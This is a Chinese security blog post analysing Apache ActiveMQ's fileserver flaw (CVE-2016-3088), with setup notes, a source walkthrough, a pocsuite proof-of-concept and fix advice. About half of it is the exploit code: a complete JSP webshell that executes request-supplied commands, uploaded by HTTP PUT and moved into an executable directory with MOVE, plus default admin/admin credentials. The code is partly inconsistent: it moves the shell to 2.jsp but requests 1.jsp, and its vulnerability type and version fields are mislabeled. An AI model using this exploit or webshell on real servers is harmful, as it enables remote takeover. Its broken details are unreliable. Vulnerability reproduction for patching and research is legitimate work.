ActiveMQ漏洞复现分析以及POC(CVE-2016-3088)
漏洞前言
ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。
影响范围
影响版本:Apache ActiveMQ 5.0.0 – 5.13.2
ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用
5.14.0版本以后,彻底删除fileserver
环境搭建
vulhub拉取漏洞环境docker启动
登陆成功后界面。
漏洞分析
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 ActiveMQ 5.7.0 源码 ,可以看到后台处理 PUT 的关键代码如下
用户可以上传文件到指定目录,该路径在conf/jetty.xml中定义。
顺着 PUT 方法追踪,可以看到调用了如下函数
同时看到后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。
由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。
漏洞利用
- 首先到http://ip:8161/admin/test/systemProperties.jsp拿到文件的绝对路径。其中会需要登陆输入默认的账号和密码(admin/admin)。
由此可以看到绝对路径为/opt/apache-activemq-5.11.1/webapps/
先put上传jsp的webshell的txt到fileserver目录;
发现可以上传却没有被解析。
下面上传jsp的webshell到可以解析的目录,可以解析jsp的目录有:
1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin
可以用move的发送方式移动文件。
这里遇到了点问题,move后会爆400错误无法上传成功,查阅百度后发现是vulhub环境的问题。这一步无法复现成功。
后询问各个大佬发现有可能move不是很稳定的传输所以导致400错误无法上传成功。多抓几次就可以有可能就能成功了。
POC编写
根据漏洞的原理进行编写 验证模块PUT成功即可 攻击模块进行MOVE操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pocsuite.net import req from pocsuite.poc import POCBase,Output from pocsuite.utils import register
class ActiveMQPoc(POCBase): vulID = '002' version = '1.0' author = ['ol4three'] vulDate = '2020-12-17' updateDate = '2020-12-17' references = ['https://paper.seebug.org/346/'] name = 'Apache ActiveMQ (CVE-2016-3088)' appPowerLink = 'activemq.apache.org' appName = 'Apache activemq' appVersion = ' Apache ActiveMQ 5.14.0' vulType = 'Arbitrary File Reading' desc = ''' fileserverfileserverjsp\ MOVEMOVE ''' pocDesc = ''' pocsuite -r ***.py -u target --verify" ''' samples = [] install_requires = []
def _verify(self): result = {} path = "fileserver/1.txt" path1 = "api/1.jsp?cmd=ls" url = self.url + '/' + path try: resp = req.put(url) resp1 = req.get(url) if (resp.status_code == 204 and str(resp1.status_code)[0] in ('2', '3')): result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url
except Exception as ex: pass
return self.parse_output(result)
def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output
def _attack(self): result = {} path = "fileserver/1.txt" path1 = "api/1.jsp?cmd=id" url = self.url + '/' + path url1 = self.url + '/' + path1 data1 = '1' data = '<%@ page import="java.io.*"%><%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}%>'
headers ={ 'Destination' : 'file:///opt/activemq/webapps/api/1.jsp' } headers1={ 'Authorization':'Basic YWRtaW46YWRtaW4=', 'Connection':'close'
} proxies={ 'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' } try: resp = req.put(url,data=data) resp1 = req.get(url) resp2 = req.request('MOVE',url=url,headers={'Destination' : 'file:///opt/activemq/webapps/api/2.jsp'}) resp3 = req.get(url1,headers=headers1) resp3 = resp3.text[12:50] result['AdminInfo'] = {} result['AdminInfo']['SHELL'] = url1 result['AdminInfo']['EXEC '] = resp3 except Exception as ex: pass
return self.parse_output(result)
register(ActiveMQPoc)
|
修复方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本;
2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能;
参考链接:
https://www.ol4three.com/2020/12/17/WEB/Exploit/ActiveMQ/ActiveMQ漏洞复现分析以及POC-CVE-2016-3088/